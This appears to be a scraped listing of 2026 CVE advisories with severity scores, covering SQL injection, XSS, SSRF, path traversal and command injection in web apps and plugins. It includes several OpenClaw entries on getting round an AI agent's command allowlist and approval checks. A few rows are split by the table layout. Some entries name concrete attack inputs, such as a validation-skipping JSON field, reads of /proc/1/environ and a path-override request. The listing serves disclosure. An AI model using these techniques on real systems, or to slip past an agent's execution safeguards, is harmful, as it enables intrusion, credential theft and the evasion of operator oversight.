CVE-2026-33681	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database. Commit 81b591c509835505cb9f298aa1162ac64c4152cb contains a patch.	7.2	More Details
CVE-2026-3090	The Post SMTP – Complete Email Deliverability and SMTP Solution with Email Logs, Alerts, Backup SMTP & Mobile App plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'event_type' parameter in all versions up to, and including, 3.8.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability is only exploitable when the Post SMTP Pro plugin is also installed and its Reporting and Tracking extension is enabled.	7.2	More Details
CVE-2026-0677	Deserialization of Untrusted Data vulnerability in TotalSuite TotalContest Lite allows Object Injection.This issue affects TotalContest Lite: from n/a through 2.9.1.	7.2	More Details
CVE-2025-55988	An issue in the component /Controllers/RestController.php of DreamFactory Core v1.0.3 allows attackers to execute a directory traversal via an unsanitized URI path.	7.2	More Details
CVE-2026-23882	Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, the MCP (Model Context Protocol) server creation function allows specifying arbitrary commands and arguments, which are executed when testing the connection. This issue has been patched in version 1.8.4.	7.2	More Details
CVE-2026-4611	A flaw has been found in TOTOLINK X6000R 9.4.0cu.1360_B20241207/9.4.0cu.1498_B20250826. Affected by this issue is the function setLanCfg of the file /usr/sbin/shttpd. Executing a manipulation of the argument Hostname can lead to os command injection. The attack may be launched remotely.	7.2	More Details
CVE-2026-4627	A vulnerability was found in D-Link DIR-825 and DIR-825R 1.0.5/4.5.1. Affected is the function handler_update_system_time of the file libdeuteron_modules.so of the component NTP Service. The manipulation results in os command injection. The attack may be launched remotely. This vulnerability only affects products that are no longer supported by the maintainer.	7.2	More Details
CVE-2026-1238	The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'fh' (fingerprint) parameter in all versions up to, and including, 5.3.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	7.2	More Details
CVE-2026-1648	The Performance Monitor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.6. This is due to insufficient validation of the 'url' parameter in the '/wp-json/performance-monitor/v1/curl_data' REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations, including internal services, via the Gopher protocol and other dangerous protocols. This can be exploited to achieve Remote Code Execution by chaining with services like Redis.	7.2	More Details
CVE-2026-3368	The Injection Guard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via malicious query parameter names in all versions up to and including 1.2.9. This is due to insufficient input sanitization in the sanitize_ig_data() function which only sanitizes array values but not array keys, combined with missing output escaping in the ig_settings.php template where stored parameter keys are echoed directly into HTML. When a request is made to the site, the plugin captures the query string via $_SERVER['QUERY_STRING'], applies esc_url_raw() (which preserves URL-encoded special characters like %22, %3E, %3C), then passes it to parse_str() which URL-decodes the string, resulting in decoded HTML/JavaScript in the array keys. These keys are stored via update_option('ig_requests_log') and later rendered without esc_html() or esc_attr() on the admin log page. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in the admin log page that execute whenever an administrator views the Injection Guard log interface.	7.2	More Details

CVE-2026-3478	The Content Syndication Toolkit plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3 via the redux_p AJAX action in the bundled ReduxFramework library. The plugin registers a proxy endpoint (wp_ajax_nopriv_redux_p) that is accessible to unauthenticated users. The proxy() method in the Redux_P class takes a URL directly from $_GET['url'] without any validation (the regex is set to /.*/ which matches all URLs) and passes it to wp_remote_request(), which does not have built-in SSRF protection like wp_safe_remote_request(). There is no authentication check, no nonce verification, and no URL restriction. The response from the requested URL is then returned to the attacker, making this a full-read SSRF. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services, scan internal network ports, or interact with cloud metadata endpoints.	7.2	More Details
CVE-2026-2279	The myLinksDump plugin for WordPress is vulnerable to SQL Injection via the 'sort_by' and 'sort_order' parameters in all versions up to, and including, 1.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	7.2	More Details
CVE-2026-29109	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Versions up to and including 8.9.2 contain an unsafe deserialization vulnerability in the SavedSearch filter processing component that allows an authenticated administrator to execute arbitrary system commands on the server. `FilterDefinitionProvider.php` calls `unserialize()` on user-controlled data from the `saved_search.contents` database column without restricting instantiable classes. Version 8.9.3 patches the issue.	7.2	More Details
CVE-2026-3003	The Vagaro Booking Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘vagaro_code’ parameter in all versions up to, and including, 0.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	7.2	More Details
CVE-2026-29102	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, an Authenticated Remote Code Execution (RCE) vulnerability exists in SuiteCRM modules. Versions 7.15.1 and 8.9.3 patch the issue.	7.2	More Details
CVE-2026-4302	The WowOptin: Next-Gen Popup Maker plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.29. This is due to the plugin exposing a publicly accessible REST API endpoint (optn/v1/integration-action) with a permission_callback of __return_true that passes user-supplied URLs directly to wp_remote_get() and wp_remote_post() in the Webhook::add_subscriber() method without any URL validation or restriction. The plugin does not use wp_safe_remote_get/post which provide built-in SSRF protection. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services.	7.2	More Details
CVE-2026-2440	The SurveyJS plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 2.5.3 via survey result submissions. This is due to insufficient input sanitization and output escaping. The public survey page exposes the nonce required for submission, allowing unauthenticated attackers to submit HTML-encoded payloads that are decoded and rendered as executable HTML when an administrator views survey results, leading to stored XSS in the admin context.	7.2	More Details
CVE-2026-31994	OpenClaw versions prior to 2026.2.19 contain a local command injection vulnerability in Windows scheduled task script generation due to unsafe handling of cmd metacharacters and expansion-sensitive characters in gateway.cmd files. Local attackers with control over service script generation arguments can inject arbitrary commands by providing metacharacter-only values or CR/LF sequences that execute unintended code in the scheduled task context.	7.1	More Details
CVE-2026-33723	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `Subscribe::save()` method in `objects/subscribe.php` concatenates the `$this->users_id` property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from `$_POST['user_id']` in both `subscribe.json.php` and `subscribeNotify.json.php`. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts. Commit 36dfae22059fbd66fd34bbc5568a838fc0efd66c contains a patch.	7.1	More Details
CVE-2019-25573	Green CMS 2.x contains an SQL injection vulnerability that allows authenticated attackers to execute arbitrary SQL queries by injecting malicious code through the cat parameter. Attackers can send GET requests to index.php with m=admin, c=posts, a=index parameters and inject SQL code in the cat parameter to manipulate database queries and extract sensitive information.	7.1	More Details
CVE-2026-27566	OpenClaw versions prior to 2026.2.22 contain an allowlist bypass vulnerability in system.run exec analysis that fails to unwrap env and shell-dispatch wrapper chains. Attackers can route execution through wrapper binaries like env bash to smuggle payloads that satisfy allowlist entries while executing non-allowlisted commands.	7.1	More Details
CVE-2026-31992	OpenClaw versions prior to 2026.2.23 contain an allowlist bypass vulnerability in system.run guardrails that allows authenticated operators to execute unintended commands. When /usr/bin/env is allowlisted, attackers can use env -S to bypass policy analysis and execute shell wrapper payloads at runtime.	7.1	More Details
CVE-	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeHunk		More

2026-25438	Gutenberg Blocks allows Reflected XSS.This issue affects Gutenberg Blocks: from n/a through 1.2.8.	7.1	Details
CVE-2026-27070	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPEverest Everest Forms Pro allows Stored XSS.This issue affects Everest Forms Pro: from n/a through 1.9.10.	7.1	More Details
CVE-2026-27068	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ryan Howard Website LLMs.Txt allows Reflected XSS.This issue affects Website LLMs.Txt: from n/a through 8.2.6.	7.1	More Details
CVE-2026-25442	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QantumThemes Kentha allows Reflected XSS.This issue affects Kentha: from n/a through 4.7.2.	7.1	More Details
CVE-2026-29100	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. SuiteCRM 7.15.0 contains a reflected HTML injection vulnerability in the login page that allows attackers to inject arbitrary HTML content, enabling phishing attacks and page defacement. Version 7.15.1 patches the issue.	7.1	More Details
CVE-2025-68836	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Markbeljaars Table of Contents Creator allows Reflected XSS.This issue affects Table of Contents Creator: from n/a through 1.6.4.1.	7.1	More Details
CVE-2026-28073	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Tips and Tricks HQ WP eMember allows Reflected XSS.This issue affects WP eMember: from n/a through v10.2.2.	7.1	More Details
CVE-2025-67618	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ArtstudioWorks Brookside allows Reflected XSS.This issue affects Brookside: from n/a through 1.4.	7.1	More Details
CVE-2026-33252	The Go MCP SDK used Go's standard encoding/json. Prior to version 1.4.1, the Go SDK's Streamable HTTP transport accepted browser-generated cross-site `POST` requests without validating the `Origin` header and without requiring `Content-Type: application/json`. In deployments without Authorization, especially stateless or sessionless configurations, this allows an arbitrary website to send MCP requests to a local server and potentially trigger tool execution. Version 1.4.1 contains a patch for the issue.	7.1	More Details
CVE-2026-27953	ormar is a async mini ORM for Python. Versions 0.23.0 and below are vulnerable to Pydantic validation bypass through the model constructor, allowing any unauthenticated user to skip all field validation by injecting "__pk_only__": true into a JSON request body. By injecting "__pk_only__": true into a JSON request body, an unauthenticated attacker can skip all field validation and persist unvalidated data directly to the database. A secondary __excluded__ parameter injection uses the same pattern to selectively nullify arbitrary model fields (e.g., email or role) during construction. This affects ormar's canonical FastAPI integration pattern recommended in its official documentation, enabling privilege escalation, data integrity violations, and business logic bypass in any application using ormar.Model directly as a request body parameter. This issue has been fixed in version 0.23.1.	7.1	More Details
CVE-2026-33493	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process. Commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contains a patch.	7.1	More Details
CVE-2025-50001	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tagDiv tagDiv Composer allows Reflected XSS.This issue affects tagDiv Composer: from n/a through 5.4.2.	7.1	More Details
CVE-2026-22175	OpenClaw versions prior to 2026.2.23 contain an exec approval bypass vulnerability in allowlist mode where allow-always grants could be circumvented through unrecognized multiplexer shell wrappers like busybox and toybox sh -c commands. Attackers can exploit this by invoking arbitrary payloads under the same multiplexer wrapper to satisfy stored allowlist rules, bypassing intended execution restrictions.	7.1	More Details
CVE-2026-33330	FileRise is a self-hosted web file manager / WebDAV server. Prior to version 3.10.0, a broken access control issue in FileRise's ONLYOFFICE integration allows an authenticated user with read-only access to obtain a signed save callbackUrl for a file and then directly forge the ONLYOFFICE save callback to overwrite that file with attacker-controlled content. This issue has been patched in version 3.10.0.	7.1	More Details
CVE-2026-32254	Kube-router is a turnkey solution for Kubernetes networking. Prior to version 2.8.0, Kube-router's proxy module does not validate externalIPs or loadBalancer IPs before programming them into the node's network configuration. Version 2.8.0 contains a patch for the issue. Available workarounds include enabling DenyServiceExternalIPs feature gate, deploying admission policy, restricting service creation RBAC, monitoring service changes, and applying BGP prefix filtering.	7.1	More Details

CVE-2026-26001	The GLPI Inventory Plugin handles network discovery, inventory, software deployment, and data collection for GLPI agents. Prior to 1.6.6, non sanitized user input can lend to an SQL injection from reports, with adequate rights. This vulnerability is fixed in 1.6.6.	7.1	More Details
CVE-2026-33125	Frigate is a network video recorder (NVR) with realtime local object detection for IP cameras. In versions 0.16.2 and below, users with the viewer role can delete admin and low-privileged user accounts. Exploitation can lead to DoS and affect data integrity. This issue has been patched in version 0.16.3.	7.1	More Details
CVE-2026-22322	A stored cross-site scripting (XSS) vulnerability in the Link Aggregation configuration interface allows an unauthenticated remote attacker to create a trunk entry containing malicious HTML/JavaScript code. When the affected page is viewed, the injected script executes in the context of the victim’s browser, enabling unauthorized actions such as interface manipulation. The session cookie is secured by the httpOnly Flag. Therefore an attacker is not able to take over the session of an authenticated user.	7.1	More Details
CVE-2026-22323	A CSRF vulnerability in the Link Aggregation configuration interface allows an unauthenticated remote attacker to trick authenticated users into sending unauthorized POST requests to the device by luring them to a malicious webpage. This can silently alter the device’s configuration without the victim’s knowledge or consent. Availability impact was set to low because after a successful attack the device will automatically recover without external intervention.	7.1	More Details
CVE-2026-23555	Any guest issuing a Xenstore command accessing a node using the (illegal) node path "/local/domain/", will crash xenstored due to a clobbered error indicator in xenstored when verifying the node path. Note that the crash is forced via a failing assert() statement in xenstored. In case xenstored is being built with NDEBUG #defined, an unprivileged guest trying to access the node path "/local/domain/" will result in it no longer being serviced by xenstored, other guests (including dom0) will still be serviced, but xenstored will use up all cpu time it can get.	7.1	More Details
CVE-2024-32537	Cross-Site request forgery (CSRF) vulnerability in joshuae1974 Flash Video Player allows Cross Site Request Forgery.This issue affects Flash Video Player: from n/a through 5.0.4.	7.1	More Details
CVE-2025-55045	The update address CSRF vulnerability in MuraCMS through 10.1.10 allows attackers to manipulate user address information through CSRF. The vulnerable cUsers.updateAddress function lacks CSRF token validation, enabling malicious websites to forge requests that add, modify, or delete user addresses when an authenticated administrator visits a crafted webpage. Successful exploitation of the update address CSRF vulnerability results in unauthorized manipulation of user address information within the MuraCMS system, potentially compromising user data integrity and organizational communications. When an authenticated administrator visits a malicious webpage containing the CSRF exploit, their browser automatically submits a hidden form that can add malicious addresses with attacker-controlled email addresses and phone numbers, update existing addresses to redirect communications to attacker-controlled locations or deleted legitimate address records to disrupt business operations. This can lead to misdirected sensitive communications, compromise of user privacy through injection of attacker contact information, disruption of legitimate business correspondence, and potential social engineering attacks via the corrupted address data.	7.1	More Details
CVE-2019-25638	Meeplace Business Review Script contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the 'id' parameter. Attackers can send GET requests to the addclick.php endpoint with crafted SQL payloads in the 'id' parameter to extract sensitive database information or cause denial of service.	7.1	More Details
CVE-2026-32954	ERP is a free and open source Enterprise Resource Planning tool. In versions prior to 16.8.0 and 15.100.0, certain endpoints were vulnerable to time-based and boolean-based blind SQL injection due to insufficient parameter validation, allowing attackers to infer database information. This issue has been fixed in versions 15.100.0 and 16.8.0.	7.1	More Details
CVE-2025-53222	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tagDiv tagDiv Opt-In Builder allows Reflected XSS.This issue affects tagDiv Opt-In Builder: from n/a through 1.7.3.	7.1	More Details
CVE-2026-32016	OpenClaw versions prior to 2026.2.22 on macOS contain a path validation bypass vulnerability in the exec-approval allowlist mode that allows local attackers to execute unauthorized binaries by exploiting basename-only allowlist entries. Attackers can execute same-name local binaries ./echo without approval when security=allowlist and ask=on-miss are configured, bypassing intended path-based policy restrictions.	7.0	More Details
CVE-2026-31998	OpenClaw versions 2026.2.22 and 2026.2.23 contain an authorization bypass vulnerability in the synology-chat channel plugin where dmPolicy set to allowlist with empty allowedUserIds fails open. Attackers with Synology sender access can bypass authorization checks and trigger unauthorized agent dispatch and downstream tool actions.	7.0	More Details
CVE-2026-32608	Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name,	7.0	More Details

	filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.		
CVE-2026-32611	Glances is an open-source system cross-platform monitoring tool. The GHSA-x46r fix (commit 39161f0) addressed SQL injection in the TimescaleDB export module by converting all SQL operations to use parameterized queries and `psycopg.sql` composable objects. However, the DuckDB export module (`glances/exports/glances_duckdb/__init__.py`) was not included in this fix and contains the same class of vulnerability: table names and column names derived from monitoring statistics are directly interpolated into SQL statements via f-strings. While DuckDB INSERT values already use parameterized queries (`?` placeholders), the DDL construction and table name references do not escape or parameterize identifier names. Version 4.5.3 provides a more complete fix.	7.0	More Details
CVE-2026-4546	A weakness has been identified in Flos Freeware Notepad2 4.2.25. This impacts an unknown function in the library TextShaping.dll. Executing a manipulation can lead to uncontrolled search path. The attack is restricted to local execution. The attack requires a high level of complexity. The exploitability is said to be difficult. The vendor was contacted early about this disclosure but did not respond in any way.	7.0	More Details
CVE-2026-32015	OpenClaw versions 2026.1.21 prior to 2026.2.19 contain a path hijacking vulnerability in tools.exec.safeBins that allows attackers to bypass allowlist checks by controlling process PATH resolution. Attackers who can influence the gateway process PATH or launch environment can execute trojan binaries with allowlisted names, such as jq, circumventing executable validation controls.	7.0	More Details
CVE-2026-32032	OpenClaw versions prior to 2026.2.22 contain an arbitrary shell execution vulnerability in shell environment fallback that trusts the unvalidated SHELL path from the host environment. An attacker with local environment access can inject a malicious SHELL variable to execute arbitrary commands with the privileges of the OpenClaw process.	7.0	More Details
CVE-2026-4545	A security flaw has been discovered in Flos Freeware Notepad2 4.2.25. This affects an unknown function in the library PROPSYS.dll. Performing a manipulation results in uncontrolled search path. The attack is only possible with local access. The attack is considered to have high complexity. The exploitability is reported as difficult. The vendor was contacted early about this disclosure but did not respond in any way.	7.0	More Details
CVE-2026-32041	OpenClaw versions prior to 2026.3.1 fail to properly handle authentication bootstrap errors during startup, allowing browser-control routes to remain accessible without authentication. Local processes or loopback-reachable SSRF paths can exploit this to access browser-control routes including evaluate-capable actions without valid credentials.	6.9	More Details
CVE-2026-32279	Connect-CMS is a content management system. In versions on the 1.x series up to and including 1.41.0 and versions on the 2.x series up to and including 2.41.0, a Server-Side Request Forgery (SSRF) issue exists in the external page migration feature of the Page Management Plugin. Versions 1.41.1 and 2.41.1 contain a patch.	6.8	More Details
CVE-2026-32034	OpenClaw versions prior to 2026.2.21 contain an authentication bypass vulnerability in the Control UI when allowInsecureAuth is explicitly enabled and the gateway is exposed over plaintext HTTP, allowing attackers to bypass device identity and pairing verification. An attacker with leaked or intercepted credentials can obtain high-privilege Control UI access by exploiting the lack of secure authentication enforcement over unencrypted HTTP connections.	6.8	More Details
CVE-2026-33308	Mod_gnutls is a TLS module for Apache HTTPD based on GnuTLS. Prior to version 0.13.0, code for client certificate verification did not check the key purpose as set in the Extended Key Usage extension. An attacker with access to the private key for a valid certificate issued by a CA trusted for TLS client authentication but designated for a different purpose could have used that certificate to improperly access resources requiring TLS client authentication. Server configurations that do not use client certificates (`GnuTLSClientVerify ignore`, the default) are not affected. The problem has been fixed in version 0.13.0 by rewriting certificate verification to use `gnutls_certificate_verify_peers()`, and requiring key purpose id-kp-clientAuth (also known as `tls_www_client` in GnuTLS) by default if the Extended Key Usage extension is present. The new `GnuTLSClientKeyPurpose` option allows overriding the expected key purpose if needed (please see the manual for details). Behavior for certificates without an Extended Key Usage extension is unchanged. If dedicated (sub-)CAs are used for issuing TLS client certificates only (not for any other purposes) the issue has no practical impact.	6.8	More Details
CVE-2026-32005	OpenClaw versions prior to 2026.2.25 fail to enforce sender authorization checks for interactive callbacks including block_action, view_submission, and view_closed in shared workspace deployments. Unauthorized workspace members can bypass allowFrom restrictions and channel user allowlists to enqueue system-event text into active sessions.	6.8	More Details
CVE-2025-33215	NVIDIA SNAP-4 Container contains a vulnerability in the VIRTIO-BLK component where a malicious guest VM may cause use of out-of-range pointer offset by sending crafted messages. A successful exploit of this vulnerability may lead to a denial of service of the DPA and impact the availability of storage to other VMs.	6.8	More Details
CVE-2025-33216	NVIDIA SNAP-4 Container contains a vulnerability in the configuration interface where an attacker on a VM may cause an incorrect calculation of buffer size by sending crafted configurations. A successful exploit of this vulnerability may lead to crash of the SNAP service, causing denial of service of the storage service to the host.	6.8	More Details
	SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the globalCopyFiles API eads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose		

CVE-2026-32747	blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted. This issue has been fixed in version 3.6.1.	6.8	More Details
CVE-2026-32750	SiYuan is a personal knowledge management system. In versions 3.6.0 and below, POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users. Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection (separate advisory), a non-admin user can then read all imported secrets without any additional privileges. This issue has been fixed in version 3.6.1.	6.8	More Details
CVE-2026-33194	SiYuan is a personal knowledge management system. Prior to version 3.6.2, the `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace. Version 3.6.2 contains an updated fix.	6.8	More Details
CVE-2026-32812	Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, unrestricted URL fetch in the SSO Metadata API can result in SSRF and local file reads. The SSO Metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller. This issue has been fixed in version 5.0.7.	6.8	More Details
CVE-2026-32007	OpenClaw versions prior to 2026.2.23 contain a path traversal vulnerability in the experimental apply_patch tool that allows attackers with sandbox access to modify files outside the workspace directory by exploiting inconsistent enforcement of workspace-only checks on mounted paths. Attackers can use apply_patch operations on writable mounts outside the workspace root to access and modify arbitrary files on the system.	6.8	More Details
CVE-2026-29608	OpenClaw 2026.3.1 contains an approval integrity vulnerability in system.run node-host execution where argv rewriting changes command semantics. Attackers can place malicious local scripts in the working directory to execute unintended code despite operator approval of different command text.	6.7	More Details
CVE-2026-33549	SPIP 4.4.10 through 4.4.12 before 4.4.13 allows unintended privilege assignment (of administrator privileges) during the editing of an author data structure because of STATUT mishandling.	6.7	More Details
CVE-2026-32003	OpenClaw versions prior to 2026.2.22 contain an environment variable injection vulnerability in the system.run function that allows attackers to bypass command allowlist restrictions via SHELLOPTS and PS4 environment variables. An attacker who can invoke system.run with request-scoped environment variables can execute arbitrary shell commands outside the intended allowlisted command body through bash xtrace expansion.	6.6	More Details
CVE-2026-32694	In Juju from version 3.0.0 through 3.6.18, when a secret owner grants permissions to a secret to a grantee, the secret owner relies exclusively on a predictable XID of the secret to verify ownership. This allows a malicious grantee which can request secrets to predict past secrets granted by the same secret owner to different grantees, allowing them to use the resources granted by those past secrets. Successful exploitation relies on a very specific configuration, specific data semantic, and the administrator having the need to deploy at least two different applications, one of them controlled by the attacker.	6.6	More Details
CVE-2026-22179	OpenClaw versions prior to 2026.2.22 in macOS node-host system.run contain an allowlist bypass vulnerability that allows remote attackers to execute non-allowlisted commands by exploiting improper parsing of command substitution tokens. Attackers can craft shell payloads with command substitution syntax within double-quoted text to bypass security restrictions and execute arbitrary commands on the system.	6.6	More Details
CVE-2026-33677	Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the `GET /api/v1/projects/:project/webhooks` endpoint returns webhook BasicAuth credentials (`basic_auth_user` and `basic_auth_password`) in plaintext to any user with read access to the project. While the existing code correctly masks the HMAC `secret` field, the BasicAuth fields added in a later migration were not given the same treatment. This allows read-only collaborators to steal credentials intended for authenticating against external webhook receivers. Version 2.2.1 patches the issue.	6.5	More Details
CVE-2026-30655	SQL injection in Solicitante::resetaSenha() in esiclivre/esiclivre v0.2.2 and earlier allows unauthenticated remote attackers to gain unauthorized access to sensitive information via the cpfcnpj parameter in /reset/index.php	6.5	More Details
CVE-2026-	ConcreteCMS v9.4.7 contains a Denial of Service (DoS) vulnerability in the File Manager component. The 'download' method in 'concrete/controllers/backend/file.php' improperly manages memory when creating zip archives. It uses 'ZipArchive::addFromString' combined with 'file_get_contents', which loads the entire content of	6.5	More Details

30662	every selected file into PHP memory. An authenticated attacker can exploit this by requesting a bulk download of large files, triggering an Out-Of-Memory (OOM) condition that causes the PHP-FPM process to terminate (SIGSEGV) and the web server to return a 500 error.		
CVE-2026-33474	Vikunja is an open-source self-hosted task management platform. Starting in version 1.0.0-rc0 and prior to version 2.2.0, unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images. Version 2.2.0 patches the issue.	6.5	More Details
CVE-2026-33676	Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, when the Vikunja API returns tasks, it populates the `related_tasks` field with full task objects for all related tasks without checking whether the requesting user has read permission on those tasks' projects. An authenticated user who can read a task that has cross-project relations will receive full details (title, description, due dates, priority, percent completion, project ID, etc.) of tasks in projects they have no access to. Version 2.2.1 patches the issue.	6.5	More Details
CVE-2026-32043	OpenClaw versions prior to 2026.2.25 contain a time-of-check-time-of-use vulnerability in approval-bound system.run execution where the cwd parameter is validated at approval time but resolved at execution time. Attackers can retarget a symlinked cwd between approval and execution to bypass command execution restrictions and execute arbitrary commands on node hosts.	6.5	More Details
CVE-2026-33345	solidtime is an open-source time-tracking app. Prior to version 0.11.6, the project detail endpoint GET /api/v1/organizations/{org}/projects/{project} allows any authenticated Employee to access any project in the organization by UUID, including private projects they are not a member of. The index() endpoint correctly applies the visibleByEmployee() scope, but show() does not. This issue has been patched in version 0.11.6.	6.5	More Details
CVE-2026-33417	Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.7.2, password reset tokens in Wallos never expire. The password_resets table includes a created_at timestamp column, but the token validation logic never checks it. A password reset token remains valid indefinitely until it is used, allowing an attacker who intercepts a reset link at any point to use it days, weeks, or months later. This issue has been patched in version 4.7.2.	6.5	More Details
CVE-2026-2351	The Task Manager plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 3.0.2 via the callback_get_text_from_url() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.	6.5	More Details
CVE-2026-33768	Astro is a web framework. Prior to version 10.0.2, the @astrojs/vercel serverless entrypoint reads the x-astro-path header and x_astro_path query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely. The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/* does nothing when the request comes in as POST /api/health?x_astro_path=/admin/delete-user. This issue has been patched in version 10.0.2.	6.5	More Details
CVE-2026-33314	pyLoad is a free and open-source download manager written in Python. Prior to version 0.5.0b3.dev97, a Host Header Spoofing vulnerability in the @local_check decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS). This issue has been patched in version 0.5.0b3.dev97.	6.5	More Details
CVE-2026-2375	The App Builder – Create Native Android & iOS Apps On The Flight plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.5.10. This is due to the `verify_role()` function in `AuthTrails.php` explicitly whitelisting the `wcfm_vendor` role alongside `subscriber` and `customer`, and assigning it directly via `wp_insert_user()` without integrating with WCFM Marketplace's vendor approval workflow. This makes it possible for unauthenticated attackers to register an account with the `wcfm_vendor` role by supplying the `role` parameter in the `/wp-json/app-builder/v1/register` REST API endpoint, bypassing the standard WCFM vendor approval process and immediately gaining vendor-level privileges (product management, order access, store management) on sites where WCFM Marketplace is active.	6.5	More Details
